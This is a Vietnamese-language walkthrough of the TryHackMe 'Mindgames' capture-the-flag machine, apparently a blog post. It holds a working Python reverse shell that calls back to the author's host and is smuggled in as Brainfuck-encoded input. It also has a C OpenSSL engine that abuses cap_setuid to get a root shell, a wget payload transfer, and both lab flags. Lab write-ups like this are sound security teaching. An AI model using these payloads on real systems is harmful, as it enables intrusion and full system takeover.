Tryhackme - Mindgames

 

Chào mọi người, hôm nay mình sẽ giải machine Mindgames của Tryhackme. Đây có thể nói là machine tâm đắc nhất của mình, vì đây là lần đầu tiên mình có thể tự giải một machine mà không cần lời giải của người khác



Đầu tiên ta khởi động machine và Attackbox:

+ Machine: Nhấn vào Start Machine

+ Attackbox: download .ovpn file và nhập lệnh: “sudo openvpn <tên file>.ovpn”
     Bonus: file .ovpn ở Access Machine -> OpenVPN -> download

1)     Thu thập thông tin của nạn nhân:

Đầu tiên ta sẽ xem là machine có những cổng nào đang open, đang close, cổng nào đáng nghi ngờ hay không:  “nmap -sC -sV  <IP-target> ”

Và đây là kết quả ta nhận được:




Ở đây ta thấy đang có hai cổng: cổng ssh và http. Thì theo như linh cảm của mình thì ssh có thể là thứ giúp chúng ta truy cập vào máy của nạn nhân.

Và để chắc chắn hơn về điều đó thì ta sẽ xem là web có directory nào thú vị hay không bằng cách ta sẽ sử dụng dirsearch hoặc gobuster để scan (trong bài này mình sẽ sử dụng dirsearch):



Ta có thể thấy mọi đường dẫn ta dò được đều dẫn đến thư mục gốc, trừ 1 directory tên là main.js

Đây là giao diện của web:



BRUH!!!!!!!!! It’s Brainfuck. Lại là đống kí tự chết tiệt đó. Và ta thấy ở dưới có một trường để nhập code và ta có hai đoạn mã được encode sang brainfuck là Hello, World và Fibonacci. Giờ mình sẽ thử decode nó xem nó là gì và có giúp ích gì cho mình hay không

Ở đây mình sẽ sử dụng trang này để decode: https://www.splitbrain.org/static/ook/ và ta nhận được hai kết quả:







Và ở đây ta nhận thấy 1 điều rằng là các đoạn mã này đều được viết bằng ngôn ngữ Python, và theo như linh cảm thì bài này sẽ liên quan đến RCE, và bây giờ để chắc chắn hơn ta sẽ chạy thử những đoạn brainfuck xem kết quả trả về là gì, và đây chính là kết quả:


              

Ta nhận thấy nó đều in ra output của từng đoạn script, vậy thì rõ ràng rồi, web này đã dính RCE và ta hoàn toàn có thể thực thi lệnh ở trên đó, và bây giờ mình sẽ tạo một reverse shell bằng Python và encode sang brainfuck để thu được shell trên server của nó

Ở đây ta sẽ sử dụng ngôn ngữ Python để tạo payload và exploit:

import socket

import subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("10.4.51.127",4444))

subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())

Tiếp theo ta sẽ tạo kết nối đến port 4444 bằng netcat: nc -lvnp 4444

Sau khi ta đã encode đoạn code Python sang brainfuck thì ta chỉ việc dán nó vào ô nhập trong web của nó và đây là kết quả thu được:





Tuyệt vời, ta đã xâm nhập được vào hệ thống của nó

Ta dễ dàng tìm được Flag đầu tiên: cat /home/mindgames/user.txt: thm{411f7d38247ff441ce4e134b459b6268}

Câu tiếp theo cũng là câu cuối cùng, đó là tìm root.txt

Đến đây mình đã thử rất nhiều phương pháp khác nhau:

+ sudo -l

+ Kiểm tra các file /etc/passwd hay /etc/crontab

+ find / -type f -perm -u=s 2>/dev/null

nhưng tất cả đều không được. Và đến lúc này mình vô cùng tuyệt vọng, tưởng rằng mình sẽ thất bại nhưng không, vô tình một anh mình quen đã nhắc đến từ capabilities, và lúc đó mình đã nhớ ngay có 1 tip nữa để có thể leo thang đặc quyền và cách leo thang này khá là hiếm

Ngay lúc này mình sử dụng command: getcap -r / 2>/dev/null. Và đây là kết quả:



Perfect. Ta thấy ở dòng thứ hai là /usr/bin/openssl = cap_setuid+ep. Điều này đồng nghĩa với việc ta có thể sử dụng openssl để set uid và leo thang. Vậy ta sẽ leo thang như nào, thì đây chính là phương pháp:

-        Đầu tiên mình sẽ tạo 1 đoạn script viết bằng ngôn ngữ C (nếu như chưa có thư viện openssl/engine.h thì ta sẽ cài bằng command: sudo apt-get install libssl-dev):

#include <openssl/engine.h>

 

static int bind(ENGINE *e, const char *id)

{

  setuid(0); setgid(0);

  system("/bin/bash");

}

 

IMPLEMENT_DYNAMIC_BIND_FN(bind)

IMPLEMENT_DYNAMIC_CHECK_FN()

-        Tiếp theo ta sẽ compile đoạn mã này bằng hai command:

               gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c

        gcc -shared -o openssl-exploit-engine.so -lcrypto openssl-exploit-engine.o



Bước tiếp theo ta sẽ khởi tạo listener bằng command: python3 -m http.server 80 để tạo đường dẫn giữa máy mình và máy nó, ta chuyển file có đuôi .so từ local sang target:

wget 10.4.51.127/openssl-exploit-engine.so (ở đây địa chỉ IP máy của mình để chơi Tryhackme là 10.4.51.127)

Và bước cuối cùng rất đơn giản ta sẽ chạy lệnh sau: openssl req -engine ./openssl-exploit-engine.so



Và yeah, ta đã leo thang thành công, nhiệm vụ bây giờ rất đơn giản là ta sẽ đọc file root.txt:

cat /root/root.txt

Flag2: thm{1974a617cc84c5b51411c283544ee254}

Và đây chính là cách mình đã giải challenge Mindgames của Tryhackme, và đây có thể nói là challenge mình tâm đắc nhất từ trước đến nay. Cảm ơn Tryhackme đã tạo nên 1 sân chơi vô cùng bổ ích với nhiều kiến thức hay. Hẹn gặp lại mọi người ở những bài writeup tiếp theo.




Nhận xét

Bài đăng phổ biến